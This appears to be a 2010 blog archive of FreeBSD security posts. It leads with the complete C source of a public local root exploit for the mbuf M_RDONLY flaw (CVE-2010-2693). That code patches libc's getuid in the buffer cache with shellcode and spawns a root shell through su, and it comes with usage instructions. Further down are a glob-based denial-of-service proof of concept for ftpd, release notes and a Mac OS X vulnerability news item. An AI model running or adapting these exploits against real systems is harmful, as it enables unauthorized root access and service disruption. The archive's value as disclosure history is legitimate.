Aug 20 2010

Really nice work from Jon.

/*
* cve-2010-2693.c
*
* FreeBSD Kernel 7.x/8.x mbuf M_RDONLY Privilege Escalation
* Jon Oberheide
* http://jon.oberheide.org
*
* Information:
*
* http://security.freebsd.org/advisories/FreeBSD-SA-10:07.mbuf.asc
*
* The read-only flag is not correctly copied when a mbuf buffer reference
* is duplicated. When the sendfile(2) system call is used to transmit
* data over the loopback interface, this can result in the backing pages
* for the transmitted file being modified, causing data corruption.
*
* Usage:
*
* $ gcc cve-2010-2693.c -o cve-2010-2693 -lpthread
* $ ./cve-2010-2693
* …
* # id
* uid=0(root) …
*
* Notes:
*
* Exploiting the mbuf vulnerability, we corrupt the in-memory copy of libc
* stored in the filesystem buffer cache with some shellcode. In particular,
* we overwrite getuid with a sled + mov $0×0,%eax + ret. Then, we spawn the
* setuid ‘su’ to get an instant root shell.
*
* The libc copy in the fs buffer cache will stick around for a while so you
* might want to remount/reboot after you’re done with your root shell.
*
* Kingcope beat me to this one by a long shot but I might as well still
* release it since it takes a slightly different approach. :-)
*
* Tested on FreeBSD 8.0-RELEASE, but should work on any unpatched 7.x/8.x.
*/

#include
#include
#include
#include
#include #include
#include
#include

#include

#include

#define SHELLCODE “\xb8\x00\x00\x00\x00\xc3″
#define SHELLCODE_LEN 6

void *
run_listener(void *arg)
{
char buf[4096];
int ret, sock, conn;
struct sockaddr_in addr;

sock = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(2693);
addr.sin_addr.s_addr = inet_addr(“127.0.0.1″);

ret = bind(sock, (struct sockaddr *) &addr, sizeof(addr));
if (ret < 0) {
printf("[-] couldn't bind to listener socket\n");
exit(1);
}

ret = listen(sock, 1);
if (ret < 0) {
printf("[-] couldn't listen on socket\n");
exit(1);
}

conn = accept(sock, NULL, NULL);
if (conn < 0) {
printf("[-] couldn't accept incoming connection\n");
exit(1);
}

while(1) {
ret = read(conn, &buf, sizeof(buf));
if (ret < 0) {
break;
}
}

return NULL;
}

int
main(int argc, char *argv[])
{
FILE *fp;
char libc[64];
int ret, sock, fd, fsize, flags, chunk = 0;
int getuid, offset, writes;
off_t bytes, sent = 0;
struct sockaddr_in addr;
struct stat statbuf;
pthread_t listener;
fd_set wset;

char sc[256 + SHELLCODE_LEN];
memset(sc, 0x90, sizeof(sc));
memcpy(sc + (sizeof(sc) - SHELLCODE_LEN), SHELLCODE, SHELLCODE_LEN);

printf("[+] checking for setuid /usr/bin/su binary...\n");

ret = stat("/usr/bin/su", &statbuf);
if (ret < 0) {
printf("[-] couldn't find setuid /usr/bin/su binary!\n");
exit(1);
}

printf("[+] checking for suitable libc library in /lib...\n");

memset(libc, 0x0, sizeof(libc));
fp = popen("ls -1 /lib/libc.so.*", "r");
fscanf(fp, "%s", libc);
fclose(fp);

printf("[+] found libc at %s\n", libc);

fp = popen("nm -D /lib/libc.so.* | grep \"W getuid\"", "r");
fscanf(fp, "%x", &getuid);
fclose(fp);

printf("[+] found getuid function at 0x%08x\n", getuid);

offset = getuid - 2048;
writes = offset / 256;

printf("[+] target: 0x%08x, adjusted: 0x%08x, writes: %d\n", getuid, offset, writes);

printf("[+] spawning listener thread...\n");

if (pthread_create(&listener, NULL, run_listener, NULL) != 0){
printf("[-] couldn't create listener thread!\n");
exit(1);
}
sleep(3);

printf("[+] connecting to listener thread...\n");

sock = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(2693);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (ret < 0) {
printf("[-] couldn't connect to listening thread!\n");
exit(1);
}

printf("[+] initiating exploit via sendfile...\n");

fd = open(libc, O_RDONLY);
if (fd < 0) {
printf("[-] couldn't open target libc library!\n");
exit(1);
}

ret = fstat(fd, &statbuf);
if (ret < 0) {
printf("[-] couldn't stat target libc library!\n");
exit(1);
}

fsize = statbuf.st_size;
flags = fcntl(fd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(fd, F_SETFL, flags);

while (fsize > 0) {
FD_ZERO(&wset);
FD_SET(sock, &wset);
ret = select(fd + 1, NULL, &wset, NULL, NULL);
if (ret < 0) {
continue;
}

if (chunk > 0) {
bytes = 0;
ret = sendfile(fd, sock, 256 * writes, chunk, NULL, &bytes, 0);
if (ret < 0) {
continue;
}
chunk -= bytes;
fsize -= bytes;
sent += bytes;
continue;
}

chunk = 2048;
write(sock, sc, sizeof(sc));
}

printf("[+] exploit complete!\n");
printf("[+] spawning root shell...\n");

system("su");

return 0;
}

Source


Jun 15 2010

Local Root FreeBSD 8.1 0day

A video of an alleged FreeBSD 8.1 local root exploit.

Source


Mar 24 2010

FreeBSD 7.3-RELEASE Release Notes

The highlights in the 7.3-RELEASE are the following:

* The ZFS file system has been updated to version 13. The changes include ZFS operations by a regular user, L2ARC, ZFS Intent Log on separated disks (slog), sparse volumes, and so on.
* A lock handling error has been fixed in interaction between malloc(3) implementation and threading library.
* A deadlock in the sched_ule(4) scheduler has been fixed.
* A new sysctl variable security.bsd.map_at_zero has been added and set to 1 (allow) by default. This controls whether FreeBSD allows to map an object at the address 0, which is part of the user-controlled portion of the virtual address space. Disabling this has some effect on preventing an attack which injects malicious code into that location and triggers a NULL pointer dereference in the kernel.
* A new boot loader gptzfsboot, which supports GPT and ZFS has been added. zfsloader, the final boot loader similar to loader(8) which supports ZFS has been added.
* [amd64, i386] CPU cache flushing has been optimized when changing caching attributes of pages by doing nothing for CPUs that support self-snooping and using CLFLUSH instead of a full cache invalidate when possible.
* The amdsbwd(4) driver for AMD SB600/SB7xx watchdog timer has been added.
* [amd64, i386] The hwpmc(4) driver for Hardware Performance Monitoring Counter support has been added.
* DRM now supports Radeon HD 4200 (RS880), 4770 (RV740), and R6/7xx 3D, and Intel G41 chips.
* The alc(4) driver for Atheros AR8131/AR8132 PCIe Ethernet controller has been added.
* [sparc64] The cas(4) driver has been added to provide support for Sun Cassini/Cassini+ and National Semiconductor DP83065 Saturn Gigabit Ethernet devices.
* A userland utility mfiutil(8) for the mfi(4) devices has been added.
* A userland utility mptutil(8) for the mpt(4) devices has been added.
* The yp(8) utilities now support shadow.byname and shadow.byuid maps. These requires privileged port access.
* The service(8) command as an easy interface for the rc.d scripts has been added.
* ISC BIND has been updated to version 9.4-ESV.
* sendmail has been updated from version 8.14.3 to version 8.14.4.
* The supported version of the GNOME desktop environment (x11/gnome2) has been updated to 2.28.2.
* The supported version of the KDE desktop environment (x11/kde4) has been updated to 4.3.5.
* FreeBSD release ISO images now have “FreeBSD-” at the beginning of the filenames.

Source


Mar 12 2010

FreeBSD and OpenBSD ‘ftpd’ NULL Pointer Dereference Denial Of Service Vulnerability

/*FreeBSD and OpenBSD ‘ftpd’ NULL Pointer Dereference Denial Of Service Vulnerability

The FreeBSD and OpenBSD ‘ftpd’ service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.

Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects the following releases:

FreeBSD 8.0, 6.3, 4.9
OpenBSD 4.5 and 4.6

PoC:
*/

#include
#include

#define MAXUSRARGS 100
#define MAXGLOBARGS 1000

void do_glob() {
glob_t gl;
char **pop;

char buffer[256];
strcpy(buffer, “{A*/../A*/../A*/../A*/../A*/../A*/../A*}”);

int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf(“GLOB FAILED!\n”);
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}

main(int argc, char **argv) {
do_glob();
do_glob();
}

Source


Jan 10 2010

Mac OS X vulnerability: proof of concept released

A widespread security vulnerability disclosed eight months ago is apparently still lurking in Mac OS X 10.5 and 10.6. A pair of security researchers have released a proof of concept exploit. Maksymilian Arciemowicz and ‘sp3x’ of SecurityReason.com have publicly disclosed a proof of concept exploit for a vulnerability in Mac OS X’s dtoa function that converts double-precision values to ASCII strings. They say they reported the issue eight months ago.

The proof of concept merely triggers a memory access error, but such buffer overflow conditions can sometimes be exploited to run arbitrary code. Although the issue has apparently been fixed in FreeBSD and OpenBSD, the researchers imply that the changes have not filtered through to Mac OS X, where it is said to be present in Leopard (10.5) and Snow Leopard (10.6). The issue is also said to have been present in NetBSD, Google Chrome, Firefox and other Mozilla projects, Opera, MatLab, and other pieces of software.

The researchers say it may also exist in the Sony PlayStation 3. Apple does not have a particularly good record when it comes to passing on fixes made to open source software incorporated in Mac OS X. One notable exception was the speedy release of an update for the BIND DNS server last August.

Source